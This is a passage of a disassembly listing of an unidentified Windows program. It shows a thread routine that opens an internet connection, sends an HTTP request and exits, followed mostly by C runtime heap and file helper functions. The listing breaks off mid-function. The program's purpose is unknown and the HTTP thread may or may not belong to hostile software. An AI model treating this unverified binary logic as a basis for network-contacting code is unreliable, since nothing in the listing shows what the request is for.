call _strncpy
add esp, 0Ch
loc_41AEDF: ; CODE XREF: sub_41ADB6+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push esi
push eax
push dword_4CB604
call dword_4CB628 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41AF68
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB61C ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41AF6F
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB5C8 ; HttpSendRequestA
test eax, eax
jz short loc_41AF49
push offset dword_43A940
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF49: ; CODE XREF: sub_41ADB6+18Aj
push offset unk_43A904
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF50: ; CODE XREF: sub_41ADB6+B7j
lea eax, [ebp+var_55C]
push offset asc_43A8E8 ; "-"
push eax ; Dest
call _sprintf
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41AF82
; ---------------------------------------------------------------------------
loc_41AF68: ; CODE XREF: sub_41ADB6+153j
push offset unk_43A8BC
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF6F: ; CODE XREF: sub_41ADB6+17Bj
push offset asc_43A88C ; "-"
loc_41AF74: ; CODE XREF: sub_41ADB6+191j
; sub_41ADB6+198j ...
lea eax, [ebp+var_55C]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41AF82: ; CODE XREF: sub_41ADB6+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41AFAD
push ebx ; int
lea eax, [ebp+var_55C]
push [ebp+var_1D0] ; int
push eax ; int
lea eax, [ebp+var_258]
push eax ; Str
push [ebp+var_35C] ; int
call sub_409A73
add esp, 14h
loc_41AFAD: ; CODE XREF: sub_41ADB6+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4151AD
pop ecx
push esi
call dword_4CB688 ; InternetCloseHandle
push [ebp+var_4]
call dword_4CB688 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
pop ebx
sub_41ADB6 endp ; sp-analysis failed
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40AB32+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B117
mov eax, dword_4DCFE8
cmp eax, 3
jnz short loc_41B0DD
push esi
call ___sbh_find_block
pop ecx
test eax, eax
push esi
jz short loc_41B109
push eax
call sub_41DEA2
pop ecx
pop ecx
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B0DD: ; CODE XREF: sub_41B0B1+14j
cmp eax, 2
jnz short loc_41B108
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_41B108
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41EC29
add esp, 0Ch
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B108: ; CODE XREF: sub_41B0B1+2Fj
; sub_41B0B1+44j
push esi
loc_41B109: ; CODE XREF: sub_41B0B1+20j
push 0
push dword_4DCFE4
call ds:dword_427140 ; RtlFreeHeap
loc_41B117: ; CODE XREF: sub_41B0B1+Aj
; sub_41B0B1+2Aj ...
pop esi
leave
retn
sub_41B0B1 endp
; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B202(void *Src,size_t Size)
sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep
; __onexit+35p ...
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+Src], 0
push ebx
push esi
push edi
jnz short loc_41B21D
push [ebp+Size] ; Size
call _malloc
pop ecx
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B21D: ; CODE XREF: sub_41B202+Bj
mov esi, [ebp+Size]
test esi, esi
jnz short loc_41B232
push [ebp+Src]
call sub_41B0B1
pop ecx
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B232: ; CODE XREF: sub_41B202+20j
mov eax, dword_4DCFE8
cmp eax, 3
jnz loc_41B342
loc_41B240: ; CODE XREF: sub_41B202+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B31E
push [ebp+Src]
call ___sbh_find_block
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B2F9
cmp esi, dword_4DCFE0
ja short loc_41B2B2
mov edi, [ebp+Src]
push esi
push edi
push ebx
call ___sbh_resize_block
add esp, 0Ch
test eax, eax
jnz short loc_41B2AE
push esi
call ___sbh_alloc_block
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B2B2
mov ebx, [ebp+Src]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B292
mov eax, esi
loc_41B292: ; CODE XREF: sub_41B202+8Cj
push eax ; Size
push ebx ; Src
push edi ; Dst
call _memcpy
push ebx
call ___sbh_find_block
push [ebp+Src]
mov ebx, eax
push ebx
call sub_41DEA2
add esp, 18h
loc_41B2AE: ; CODE XREF: sub_41B202+74j
test edi, edi
jnz short loc_41B2F5
loc_41B2B2: ; CODE XREF: sub_41B202+62j
; sub_41B202+81j
test esi, esi
jnz short loc_41B2B9
push 1
pop esi
loc_41B2B9: ; CODE XREF: sub_41B202+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DCFE4
call ds:dword_427144 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41B2F5
mov ecx, [ebp+Src]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B2E1
mov eax, esi
loc_41B2E1: ; CODE XREF: sub_41B202+DBj
push eax ; Size
push ecx ; Src
push edi ; Dst
call _memcpy
push [ebp+Src]
push ebx
call sub_41DEA2
add esp, 14h
loc_41B2F5: ; CODE XREF: sub_41B202+AEj
; sub_41B202+D0j
test ebx, ebx
jnz short loc_41B31A
loc_41B2F9: ; CODE XREF: sub_41B202+56j
test esi, esi
jnz short loc_41B300
push 1
pop esi
loc_41B300: ; CODE XREF: sub_41B202+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+Src]
push 0
push dword_4DCFE4
call ds:dword_427198 ; RtlReAllocateHeap
mov edi, eax
loc_41B31A: ; CODE XREF: sub_41B202+F5j
test edi, edi
jnz short loc_41B33B
loc_41B31E: ; CODE XREF: sub_41B202+43j
cmp dword_4DB9DC, 0
jz short loc_41B33B
push esi
call __callnewh
test eax, eax
pop ecx
jnz loc_41B240
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B33B: ; CODE XREF: sub_41B202+11Aj
; sub_41B202+123j ...
mov eax, edi
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B342: ; CODE XREF: sub_41B202+38j
cmp eax, 2
jnz loc_41B45D
cmp esi, 0FFFFFFE0h
ja short loc_41B35F
test esi, esi
jbe short loc_41B35C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B35F
; ---------------------------------------------------------------------------
loc_41B35C: ; CODE XREF: sub_41B202+150j
push 10h
pop esi
loc_41B35F: ; CODE XREF: sub_41B202+14Cj
; sub_41B202+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B43F
lea eax, [ebp+Size]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+Src]
call sub_41EBD2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41B423
cmp esi, dword_43C9D4
jnb short loc_41B3E7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_41EF9A
add esp, 10h
test eax, eax
jz short loc_41B3AD
mov edi, [ebp+Src]
jmp short loc_41B3DF
; ---------------------------------------------------------------------------
loc_41B3AD: ; CODE XREF: sub_41B202+1A4j
push edi
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B3E7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B3C6
mov eax, esi
loc_41B3C6: ; CODE XREF: sub_41B202+1C0j
push eax ; Size
push [ebp+Src] ; Src
push edi ; Dst
call _memcpy
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
loc_41B3DF: ; CODE XREF: sub_41B202+1A9j
test edi, edi
jnz loc_41B33B
loc_41B3E7: ; CODE XREF: sub_41B202+18Bj
; sub_41B202+1B6j
push esi
push 0
push dword_4DCFE4
call ds:dword_427144 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41B43F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B408
mov eax, esi
loc_41B408: ; CODE XREF: sub_41B202+202j
push eax ; Size
push [ebp+Src] ; Src
push edi ; Dst
call _memcpy
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
jmp short loc_41B437
; ---------------------------------------------------------------------------
loc_41B423: ; CODE XREF: sub_41B202+17Fj
push esi
push [ebp+Src]
push 0
push dword_4DCFE4
call ds:dword_427198 ; RtlReAllocateHeap
mov edi, eax
loc_41B437: ; CODE XREF: sub_41B202+21Fj
test edi, edi
jnz loc_41B33B
loc_41B43F: ; CODE XREF: sub_41B202+162j
; sub_41B202+1F8j
cmp dword_4DB9DC, 0
jz loc_41B33B
push esi
call __callnewh
test eax, eax
pop ecx
jnz loc_41B35F
jmp short loc_41B49B
; ---------------------------------------------------------------------------
loc_41B45D: ; CODE XREF: sub_41B202+143j
; sub_41B202+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41B487
test esi, esi
jnz short loc_41B46B
push 1
pop esi
loc_41B46B: ; CODE XREF: sub_41B202+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+Src]
push 0
push dword_4DCFE4
call ds:dword_427198 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41B49D
loc_41B487: ; CODE XREF: sub_41B202+260j
cmp dword_4DB9DC, 0
jz short loc_41B49D
push esi
call __callnewh
test eax, eax
pop ecx
jnz short loc_41B45D
loc_41B49B: ; CODE XREF: sub_41B202+2Bj
; sub_41B202+134j ...
xor eax, eax
loc_41B49D: ; CODE XREF: sub_41B202+16j
; sub_41B202+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B202 endp
; [00000020 BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41B513 proc near ; CODE XREF: __nh_malloc+Bp
arg_0 = dword ptr 4
mov eax, dword_4DCFE8
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41B537
cmp esi, dword_4DCFE0
ja short loc_41B569
push esi
call ___sbh_alloc_block
test eax, eax
pop ecx
jz short loc_41B569
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B537: ; CODE XREF: sub_41B513+Dj
cmp eax, 2
jnz short loc_41B569
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41B54C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B54C: ; CODE XREF: sub_41B513+2Fj
push 10h
pop esi
loc_41B54F: ; CODE XREF: sub_41B513+37j
cmp esi, dword_43C9D4
ja short loc_41B576
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
test eax, eax
pop ecx
jnz short loc_41B585
jmp short loc_41B576
; ---------------------------------------------------------------------------
loc_41B569: ; CODE XREF: sub_41B513+15j
; sub_41B513+20j ...
test esi, esi
jnz short loc_41B570
push 1
pop esi
loc_41B570: ; CODE XREF: sub_41B513+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B576: ; CODE XREF: sub_41B513+42j
; sub_41B513+54j
push esi
push 0
push dword_4DCFE4
call ds:dword_427144 ; RtlAllocateHeap
loc_41B585: ; CODE XREF: sub_41B513+52j
pop esi
retn
sub_41B513 endp
; ---------------------------------------------------------------------------
align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41B8D8 proc near ; CODE XREF: WinMain(x,x,x,x)+45p
; sub_401ACD+31A3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43A960, eax
retn
sub_41B8D8 endp
; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND]
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41BDDC proc near ; CODE XREF: sub_401ACD+5981p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_427080 ; DeleteFileA
test eax, eax
jnz short loc_41BDF2
call ds:dword_42708C ; RtlGetLastWin32Error
jmp short loc_41BDF4
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj
xor eax, eax
loc_41BDF4: ; CODE XREF: sub_41BDDC+14j
test eax, eax
jz short loc_41BE03
push eax
call __dosmaperr
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj
xor eax, eax
retn
sub_41BDDC endp
; [00000032 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; [00000007 BYTES: COLLAPSED FUNCTION sub_41C8C2. PRESS KEYPAD "+" TO EXPAND]
; [00000007 BYTES: COLLAPSED FUNCTION sub_41C8C9. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
align 4
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41CC83 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)+26p
; sub_4264E2+10p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B0B1
pop ecx
retn
sub_41CC83 endp
; ---------------------------------------------------------------------------
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
; [0000006D BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
; [0000010A BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41D3BE proc near ; CODE XREF: sub_416909+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_427098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41D3DE
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
call __dosmaperr
pop ecx
loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj
test al, 1
jz short loc_41D3FF
test [esp+arg_4], 2
jz short loc_41D3FF
mov dword_4DB958, 0Dh
mov dword_4DB95C, 5
jmp short loc_41D3DA
; ---------------------------------------------------------------------------
loc_41D3FF: ; CODE XREF: sub_41D3BE+22j
; sub_41D3BE+29j
xor eax, eax
retn
sub_41D3BE endp
; ---------------------------------------------------------------------------
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND]
; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call __XcptFilter
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call __exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
pop ecx
pop ecx
retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41DBE7 proc near ; CODE XREF: ___endstdiop
push 1
call _flsall
pop ecx
retn
sub_41DBE7 endp
; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41DC5D proc near ; CODE XREF: sub_41DC8A+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call ds:dword_42709C ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_41DC88
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41DC88
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41DC88: ; CODE XREF: sub_41DC5D+15j
; sub_41DC5D+1Cj
pop esi
retn
sub_41DC5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DC8A proc near ; CODE XREF: sub_41DDD2+20p
Str = byte ptr -122Ch
SubStr = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call __alloca_probe
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call ds:dword_4270C8 ; GetVersionExA
test eax, eax
jz short loc_41DCCD
cmp [ebp+var_88], 2
jnz short loc_41DCCD
cmp [ebp+var_94], 5
jb short loc_41DCCD
push 1
pop eax
jmp loc_41DDCF
; ---------------------------------------------------------------------------
loc_41DCCD: ; CODE XREF: sub_41DC8A+27j
; sub_41DC8A+30j ...
lea eax, [ebp+Str]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call ds:dword_4271B4 ; GetEnvironmentVariableA
test eax, eax
jz loc_41DDBC
xor ebx, ebx
lea ecx, [ebp+Str]
cmp [ebp+Str], bl
jz short loc_41DD0F
loc_41DCFC: ; CODE XREF: sub_41DC8A+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41DD0A
cmp al, 7Ah
jg short loc_41DD0A
sub al, 20h
mov [ecx], al
loc_41DD0A: ; CODE XREF: sub_41DC8A+76j
; sub_41DC8A+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41DCFC
loc_41DD0F: ; CODE XREF: sub_41DC8A+70j
lea eax, [ebp+Str]
push 16h ; MaxCount
push eax ; Str2
push offset Str1 ; "__GLOBAL_HEAP_SELECTED"
call _strncmp
add esp, 0Ch
test eax, eax
jnz short loc_41DD31
lea eax, [ebp+Str]
jmp short loc_41DD7A
; ---------------------------------------------------------------------------
loc_41DD31: ; CODE XREF: sub_41DC8A+9Dj
lea eax, [ebp+SubStr]
push 104h
push eax
push ebx
call ds:dword_427070 ; GetModuleFileNameA
cmp [ebp+SubStr], bl
lea ecx, [ebp+SubStr]
jz short loc_41DD65
loc_41DD52: ; CODE XREF: sub_41DC8A+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_41DD60
cmp al, 7Ah
jg short loc_41DD60
sub al, 20h
mov [ecx], al
loc_41DD60: ; CODE XREF: sub_41DC8A+CCj
; sub_41DC8A+D0j
inc ecx
cmp [ecx], bl
jnz short loc_41DD52
loc_41DD65: ; CODE XREF: sub_41DC8A+C6j
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
pop ecx
pop ecx
loc_41DD7A: ; CODE XREF: sub_41DC8A+A5j
cmp eax, ebx
jz short loc_41DDBC
push 2Ch ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41DDBC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41DDA1
loc_41DD93: ; CODE XREF: sub_41DC8A+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_41DD9C
mov [ecx], bl
jmp short loc_41DD9D
; ---------------------------------------------------------------------------
loc_41DD9C: ; CODE XREF: sub_41DC8A+10Cj
inc ecx
loc_41DD9D: ; CODE XREF: sub_41DC8A+110j
cmp [ecx], bl
jnz short loc_41DD93
loc_41DDA1: ; CODE XREF: sub_41DC8A+107j
push 0Ah ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtol
add esp, 0Ch
cmp eax, 2
jz short loc_41DDCF
cmp eax, 3
jz short loc_41DDCF
cmp eax, 1
jz short loc_41DDCF
loc_41DDBC: ; CODE XREF: sub_41DC8A+5Cj
; sub_41DC8A+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_41DC5D
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41DDCF: ; CODE XREF: sub_41DC8A+3Ej
; sub_41DC8A+126j ...
pop ebx
leave
retn
sub_41DC8A endp
; =============== S U B R O U T I N E =======================================
sub_41DDD2 proc near ; CODE XREF: start+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
